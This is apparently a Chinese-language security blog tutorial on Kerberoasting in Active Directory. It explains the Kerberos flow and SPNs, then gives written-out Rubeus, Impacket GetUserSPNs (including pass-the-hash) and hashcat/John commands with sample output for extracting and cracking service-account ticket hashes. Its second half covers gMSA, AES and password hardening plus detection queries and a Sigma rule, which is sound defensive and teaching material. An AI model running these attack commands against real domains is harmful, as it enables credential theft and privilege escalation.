內網 Kerberoasting 攻擊與防禦

Kerberoasting Attack and Defense in Active Directory

前言

Kerberoasting 是一種針對 Active Directory 環境的攻擊技術,攻擊者可以利用此技術取得服務帳戶的密碼雜湊值,並嘗試離線破解。這項攻擊技術自 2014 年由 Tim Medin 在 DerbyCon 首次公開以來,一直是滲透測試與紅隊演練中最常見的權限提升手法之一。

本文將深入探討 Kerberoasting 攻擊的原理、實作方式、防禦措施以及偵測方法。


一、Kerberos 認證協定基礎

1.1 Kerberos 協定概述

Kerberos 是一種網路認證協定,用於在非安全的網路環境中提供安全的身份驗證機制。在 Windows Active Directory 環境中,Kerberos 是預設的認證協定。

Kerberos 認證流程中的主要元件:

元件說明
KDC (Key Distribution Center)金鑰分發中心,通常由 Domain Controller 擔任
AS (Authentication Service)認證服務,負責驗證使用者身份
TGS (Ticket Granting Service)票據授予服務,負責發放服務票據
TGT (Ticket Granting Ticket)票據授予票據,用於向 TGS 請求服務票據
Service Ticket (ST)服務票據,用於存取特定服務

1.2 Kerberos 認證流程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌─────────┐                    ┌─────────┐                    ┌─────────┐
│  Client │                    │   KDC   │                    │ Service │
└────┬────┘                    └────┬────┘                    └────┬────┘
     │                              │                              │
     │  1. AS-REQ (使用者憑證)       │                              │
     │─────────────────────────────>│                              │
     │                              │                              │
     │  2. AS-REP (TGT)             │                              │
     │<─────────────────────────────│                              │
     │                              │                              │
     │  3. TGS-REQ (TGT + SPN)      │                              │
     │─────────────────────────────>│                              │
     │                              │                              │
     │  4. TGS-REP (Service Ticket) │                              │
     │<─────────────────────────────│                              │
     │                              │                              │
     │  5. AP-REQ (Service Ticket)                                 │
     │────────────────────────────────────────────────────────────>│
     │                              │                              │
     │  6. AP-REP (驗證成功)                                        │
     │<────────────────────────────────────────────────────────────│
     │                              │                              │

認證步驟說明:

  1. AS-REQ:Client 向 KDC 的 AS 發送認證請求,包含使用者名稱
  2. AS-REP:AS 驗證使用者後,回傳使用使用者密碼雜湊加密的 TGT
  3. TGS-REQ:Client 使用 TGT 向 TGS 請求特定服務的票據
  4. TGS-REP:TGS 回傳使用服務帳戶密碼雜湊加密的 Service Ticket
  5. AP-REQ:Client 向目標服務提交 Service Ticket
  6. AP-REP:服務驗證票據後允許存取

二、SPN (Service Principal Name) 概念

2.1 什麼是 SPN?

SPN (Service Principal Name) 是 Kerberos 協定中用於唯一識別服務實例的識別碼。當使用者需要存取特定服務時,會使用 SPN 來請求對應的服務票據。

2.2 SPN 格式

SPN 的標準格式如下:

1
serviceclass/host:port/servicename

常見的 SPN 範例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# MSSQL 服務
MSSQLSvc/sqlserver.corp.local:1433

# HTTP 服務
HTTP/webserver.corp.local

# Exchange 服務
exchangeMDB/mailserver.corp.local

# 自訂服務
CustomApp/appserver.corp.local:8080

2.3 查詢 SPN

使用 PowerShell 查詢網域中的 SPN:

1
2
3
4
5
6
7
8
# 查詢所有具有 SPN 的使用者帳戶
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# 使用 setspn 命令查詢
setspn -Q */*

# 查詢特定使用者的 SPN
setspn -L <username>

使用 LDAP 查詢:

1
2
3
4
5
# 使用 LDAP 篩選器查詢
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.Filter = "(&(objectCategory=user)(servicePrincipalName=*))"
$results = $search.FindAll()
$results | ForEach-Object { $_.Properties["samaccountname"] }

三、Kerberoasting 攻擊原理

3.1 攻擊概念

Kerberoasting 攻擊的核心概念是利用 Kerberos 協定的設計特性:

  1. 任何經過驗證的網域使用者都可以請求任何服務的 Service Ticket
  2. Service Ticket 的一部分是使用服務帳戶的密碼雜湊 (NTLM Hash) 進行加密
  3. 攻擊者取得 Service Ticket 後,可以離線破解服務帳戶密碼

3.2 為什麼 Kerberoasting 有效?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌─────────────────────────────────────────────────────────────────────┐
│                    Kerberoasting 攻擊流程                            │
├─────────────────────────────────────────────────────────────────────┤
│                                                                     │
│  1. 攻擊者取得任意網域使用者權限                                      │
│                     │                                               │
│                     ▼                                               │
│  2. 列舉所有註冊 SPN 的服務帳戶                                       │
│                     │                                               │
│                     ▼                                               │
│  3. 請求這些服務的 Service Ticket (TGS-REQ)                          │
│                     │                                               │
│                     ▼                                               │
│  4. KDC 回傳使用服務帳戶密碼雜湊加密的票據 (TGS-REP)                   │
│                     │                                               │
│                     ▼                                               │
│  5. 攻擊者匯出票據並進行離線密碼破解                                   │
│                     │                                               │
│                     ▼                                               │
│  6. 成功破解後取得服務帳戶明文密碼                                     │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

3.3 高價值目標

以下類型的服務帳戶是 Kerberoasting 的高價值目標:

  • 具有高權限的服務帳戶(如 Domain Admins 群組成員)
  • 密碼強度較弱的服務帳戶
  • 密碼長期未更換的服務帳戶
  • MSSQL、Exchange、SharePoint 等重要應用程式的服務帳戶

四、使用 Rubeus 進行攻擊

Rubeus 是一個功能強大的 C# 工具,專門用於 Kerberos 相關的攻擊與操作。

4.1 列舉可進行 Kerberoasting 的帳戶

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 列舉所有具有 SPN 的使用者帳戶
Rubeus.exe kerberoast /stats

# 輸出範例:
# [*] Total kerberoastable users : 5
#
#  ----------------------------------------
#  | Supported Coverage | Count |
#  ----------------------------------------
#  | RC4_HMAC_MD5       | 3     |
#  | AES128_CTS_HMAC    | 1     |
#  | AES256_CTS_HMAC    | 1     |
#  ----------------------------------------

4.2 執行 Kerberoasting 攻擊

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# 針對所有可 Kerberoast 的帳戶請求票據
Rubeus.exe kerberoast

# 輸出票據為 hashcat 格式
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

# 針對特定使用者
Rubeus.exe kerberoast /user:svc_mssql /format:hashcat

# 針對特定 SPN
Rubeus.exe kerberoast /spn:MSSQLSvc/sqlserver.corp.local

# 強制使用 RC4 加密(較容易破解)
Rubeus.exe kerberoast /tgtdeleg

# 使用已取得的 TGT 進行 Kerberoasting
Rubeus.exe kerberoast /ticket:<base64_TGT>

4.3 Rubeus 輸出範例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[*] Action: Kerberoasting

[*] NOTICE: AES://SHA1 downgrade is enabled

[*] Target User            : svc_mssql
[*] Target Domain          : corp.local
[*] Target DC              : DC01.corp.local
[*] SPN                    : MSSQLSvc/sqlserver.corp.local:1433
[*] Hash                   : $krb5tgs$23$*svc_mssql$corp.local$MSSQLSvc/sqlserver.corp.local:1433*$
                             A1B2C3D4E5F6....[truncated]....F6E5D4C3B2A1

4.4 進階選項

1
2
3
4
5
6
7
8
# 僅針對 admincount=1 的高權限帳戶
Rubeus.exe kerberoast /ldapfilter:'admincount=1' /format:hashcat

# 指定輸出加密類型
Rubeus.exe kerberoast /format:hashcat /aes

# 使用不同的網域
Rubeus.exe kerberoast /domain:child.corp.local /dc:DC02.child.corp.local

五、使用 Impacket GetUserSPNs 進行攻擊

Impacket 是一個 Python 工具套件,提供多種網路協定的實作。GetUserSPNs.py 是其中專門用於 Kerberoasting 的工具。

5.1 基本用法

1
2
3
4
5
6
# 列舉具有 SPN 的使用者(不請求票據)
impacket-GetUserSPNs corp.local/user:password -dc-ip 192.168.1.100

# 或使用完整路徑
python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py \
    corp.local/user:password -dc-ip 192.168.1.100

5.2 請求服務票據

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 請求所有服務票據
impacket-GetUserSPNs corp.local/user:password -dc-ip 192.168.1.100 -request

# 將票據輸出到檔案
impacket-GetUserSPNs corp.local/user:password -dc-ip 192.168.1.100 \
    -request -outputfile kerberoast_hashes.txt

# 針對特定使用者
impacket-GetUserSPNs corp.local/user:password -dc-ip 192.168.1.100 \
    -request-user svc_mssql

5.3 使用 NTLM Hash 認證

1
2
3
# 使用 Pass-the-Hash
impacket-GetUserSPNs corp.local/user -hashes :NTLM_HASH \
    -dc-ip 192.168.1.100 -request

5.4 輸出範例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName                    Name        MemberOf                                           PasswordLastSet             LastLogon                   Delegation
--------------------------------------  ----------  -------------------------------------------------  --------------------------  --------------------------  ----------
MSSQLSvc/sqlserver.corp.local:1433      svc_mssql   CN=Domain Admins,CN=Users,DC=corp,DC=local        2024-01-15 10:30:00.000000  2025-02-19 14:20:00.000000
HTTP/webserver.corp.local               svc_web                                                        2023-06-20 08:15:00.000000  2025-02-18 09:45:00.000000
exchangeMDB/mailserver.corp.local       svc_exch    CN=Exchange Servers,CN=Users,DC=corp,DC=local     2022-03-10 16:00:00.000000  2025-02-19 16:30:00.000000

$krb5tgs$23$*svc_mssql$CORP.LOCAL$corp.local/svc_mssql*$a1b2c3d4...[hash data]...
$krb5tgs$23$*svc_web$CORP.LOCAL$corp.local/svc_web*$e5f6g7h8...[hash data]...
$krb5tgs$23$*svc_exch$CORP.LOCAL$corp.local/svc_exch*$i9j0k1l2...[hash data]...

5.5 從 Linux 執行 Kerberoasting(無密碼情境)

如果已經取得有效的 Kerberos 票據:

1
2
3
# 使用 ccache 檔案進行認證
export KRB5CCNAME=/tmp/krb5cc_user
impacket-GetUserSPNs corp.local/user -k -no-pass -dc-ip 192.168.1.100 -request

六、使用 hashcat 破解服務票據

6.1 識別雜湊類型

Kerberos 服務票據的雜湊格式:

加密類型hashcat 模式說明
RC4-HMAC-MD5 (etype 23)13100較容易破解,較舊的加密方式
AES128-CTS-HMAC-SHA1 (etype 17)19600較安全,需要更多運算資源
AES256-CTS-HMAC-SHA1 (etype 18)19700最安全,破解難度最高

6.2 使用 hashcat 破解 RC4 加密的票據

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 基本破解指令(使用字典)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# 使用規則增強字典攻擊
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule

# 顯示破解進度
hashcat -m 13100 kerberoast_hashes.txt --status --status-timer=30

# 使用暴力破解
hashcat -m 13100 kerberoast_hashes.txt -a 3 ?a?a?a?a?a?a?a?a

# 混合攻擊(字典 + 規則 + 掩碼)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
    -a 6 ?d?d?d?d

6.3 破解 AES 加密的票據

1
2
3
4
5
# AES128
hashcat -m 19600 aes128_hashes.txt /usr/share/wordlists/rockyou.txt

# AES256
hashcat -m 19700 aes256_hashes.txt /usr/share/wordlists/rockyou.txt

6.4 最佳化破解效能

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 使用工作負載設定檔
hashcat -m 13100 hashes.txt wordlist.txt -w 3

# 設定 GPU 溫度限制
hashcat -m 13100 hashes.txt wordlist.txt --gpu-temp-abort=90

# 使用多個 GPU
hashcat -m 13100 hashes.txt wordlist.txt -d 1,2,3

# 儲存工作階段以便繼續
hashcat -m 13100 hashes.txt wordlist.txt --session=kerberoast
hashcat --session=kerberoast --restore

6.5 查看破解結果

1
2
3
4
5
# 顯示已破解的密碼
hashcat -m 13100 hashes.txt --show

# 輸出格式:hash:password
# $krb5tgs$23$*svc_mssql$...:Password123!

6.6 使用 John the Ripper 作為替代方案

1
2
3
4
5
# 使用 John the Ripper 破解
john --format=krb5tgs kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# 顯示破解結果
john --show kerberoast_hashes.txt

七、防禦措施與最佳實務

7.1 密碼策略強化

使用強密碼

1
2
3
4
5
6
7
8
# 建議的服務帳戶密碼策略
# - 最小長度:25 個字元以上
# - 包含大小寫字母、數字、特殊字元
# - 使用密碼產生器產生隨機密碼

# 使用 PowerShell 產生強密碼
Add-Type -AssemblyName System.Web
[System.Web.Security.Membership]::GeneratePassword(30, 10)

定期更換密碼

1
2
3
# 設定服務帳戶密碼過期策略
Set-ADUser -Identity svc_mssql -PasswordNeverExpires $false
Set-ADUser -Identity svc_mssql -ChangePasswordAtLogon $true

7.2 使用 Group Managed Service Accounts (gMSA)

gMSA 是防禦 Kerberoasting 最有效的方法之一:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 建立 KDS 根金鑰(僅需執行一次)
Add-KdsRootKey -EffectiveImmediately

# 建立 gMSA
New-ADServiceAccount -Name "gMSA_MSSQL" `
    -DNSHostName "gmsa_mssql.corp.local" `
    -PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers" `
    -ServicePrincipalNames "MSSQLSvc/sqlserver.corp.local:1433"

# 安裝 gMSA 到目標伺服器
Install-ADServiceAccount -Identity "gMSA_MSSQL"

# 驗證 gMSA
Test-ADServiceAccount -Identity "gMSA_MSSQL"

gMSA 的優點:

  • 密碼自動產生(240 個字元的隨機密碼)
  • 密碼自動輪換(預設每 30 天)
  • 無法被人為設定弱密碼

7.3 限制服務帳戶權限

1
2
3
4
5
6
# 確保服務帳戶不在高權限群組中
Remove-ADGroupMember -Identity "Domain Admins" -Members "svc_mssql"

# 使用最小權限原則
# 建立專用的服務帳戶群組
New-ADGroup -Name "Service_Accounts" -GroupScope Global -GroupCategory Security

7.4 啟用 AES 加密

1
2
3
4
5
# 設定服務帳戶支援 AES 加密
Set-ADUser -Identity svc_mssql -KerberosEncryptionType AES128,AES256

# 驗證加密類型設定
Get-ADUser -Identity svc_mssql -Properties msDS-SupportedEncryptionTypes

7.5 監控服務帳戶

1
2
3
4
5
6
7
8
# 定期稽核具有 SPN 的帳戶
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties `
    ServicePrincipalName, `
    PasswordLastSet, `
    Enabled, `
    MemberOf |
    Select-Object Name, ServicePrincipalName, PasswordLastSet, Enabled |
    Export-Csv "SPN_Audit.csv" -NoTypeInformation

7.6 防禦措施清單

措施優先級說明
使用 gMSA自動管理密碼,無法被破解
強密碼策略25+ 字元,複雜度要求
定期更換密碼至少每 90 天更換
啟用 AES 加密增加破解難度
最小權限原則降低帳戶被濫用的影響
定期稽核識別高風險服務帳戶

八、偵測方法與日誌分析

8.1 Windows 事件日誌

啟用進階稽核

1
2
# 啟用 Kerberos 服務票據作業稽核
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable

關鍵事件 ID

事件 ID說明重要性
4769Kerberos 服務票據請求
4768Kerberos TGT 請求
4770Kerberos 服務票據更新

8.2 偵測 Kerberoasting 的指標

事件 4769 分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<!-- 可疑的 Kerberoasting 活動特徵 -->
<Event>
  <EventID>4769</EventID>
  <EventData>
    <!-- 注意 Ticket Encryption Type -->
    <Data Name="TicketEncryptionType">0x17</Data>  <!-- RC4 = 可疑 -->
    <Data Name="TicketOptions">0x40810000</Data>
    <Data Name="ServiceName">MSSQLSvc/sqlserver.corp.local</Data>
    <Data Name="TargetUserName">svc_mssql@CORP.LOCAL</Data>
  </EventData>
</Event>

偵測指標:

  • 短時間內大量 4769 事件
  • Ticket Encryption Type 為 0x17 (RC4) 而非 0x12 (AES256)
  • 單一使用者請求多個不同服務的票據
  • 來自非正常工作站的票據請求

8.3 使用 PowerShell 進行日誌分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 查詢可疑的 Kerberos 票據請求
$startTime = (Get-Date).AddHours(-24)

Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4769
    StartTime = $startTime
} | Where-Object {
    $_.Properties[5].Value -eq '0x17'  # RC4 加密
} | Group-Object { $_.Properties[0].Value } |
    Where-Object { $_.Count -gt 10 } |
    Sort-Object Count -Descending

# 偵測短時間內大量票據請求
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4769
    StartTime = $startTime
} | Group-Object {
    $_.Properties[6].Value  # 請求者帳戶
} | Where-Object { $_.Count -gt 20 } |
    Format-Table Name, Count -AutoSize

8.4 SIEM 偵測規則範例

Splunk 查詢

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
index=windows EventCode=4769
| eval EncryptionType=case(
    Ticket_Encryption_Type=="0x17", "RC4",
    Ticket_Encryption_Type=="0x12", "AES256",
    Ticket_Encryption_Type=="0x11", "AES128",
    true(), "Other"
)
| where EncryptionType="RC4"
| stats count by Account_Name, Client_Address, Service_Name
| where count > 10
| sort -count

Microsoft Sentinel (KQL)

1
2
3
4
5
6
7
8
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| summarize RequestCount = count(),
            ServiceList = make_set(ServiceName)
            by TargetUserName, IpAddress, bin(TimeGenerated, 1h)
| where RequestCount > 10
| order by RequestCount desc

8.5 Sigma 規則

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
title: Potential Kerberoasting Activity
id: e45a8d16-9d8e-4e3f-9f8a-1234567890ab
status: experimental
description: Detects potential Kerberoasting activity based on service ticket requests
author: Security Team
date: 2025/02/20
references:
    - https://attack.mitre.org/techniques/T1558/003/
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'
    filter:
        ServiceName|endswith: '$'  # 排除電腦帳戶
    condition: selection and not filter
    timeframe: 5m
    threshold:
        count: 10
        field: AccountName
falsepositives:
    - Legacy applications requiring RC4
    - Service account enumeration scripts
level: medium
tags:
    - attack.credential_access
    - attack.t1558.003

8.6 網路層偵測

1
2
3
4
5
6
# 使用 Wireshark 過濾 Kerberos TGS-REQ 流量
kerberos.msg_type == 12 && kerberos.etype == 23

# 使用 tshark 命令列分析
tshark -r capture.pcap -Y "kerberos.msg_type == 12" \
    -T fields -e kerberos.cname -e kerberos.sname -e kerberos.etype

8.7 建立偵測基準線

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 建立正常服務票據請求的基準線
# 記錄每個使用者/工作站的正常票據請求模式

$baselineScript = {
    $events = Get-WinEvent -FilterHashtable @{
        LogName = 'Security'
        ID = 4769
        StartTime = (Get-Date).AddDays(-30)
    }

    $baseline = $events | Group-Object {
        "$($_.Properties[0].Value)|$($_.Properties[6].Value)"
    } | ForEach-Object {
        [PSCustomObject]@{
            ServiceAccount = $_.Name.Split('|')[0]
            Requester = $_.Name.Split('|')[1]
            AverageDaily = [math]::Round($_.Count / 30, 2)
        }
    }

    $baseline | Export-Csv "Kerberos_Baseline.csv" -NoTypeInformation
}

總結

Kerberoasting 是一種強大且難以防禦的攻擊技術,因為它利用的是 Kerberos 協定的正常功能。有效的防禦需要多層次的策略:

  1. 預防:使用 gMSA、強密碼、AES 加密
  2. 偵測:監控事件 4769、建立基準線、使用 SIEM
  3. 回應:定期稽核服務帳戶、立即更換被入侵的密碼

最重要的是,組織應該定期進行安全評估,包括模擬 Kerberoasting 攻擊,以驗證防禦措施的有效性。


參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy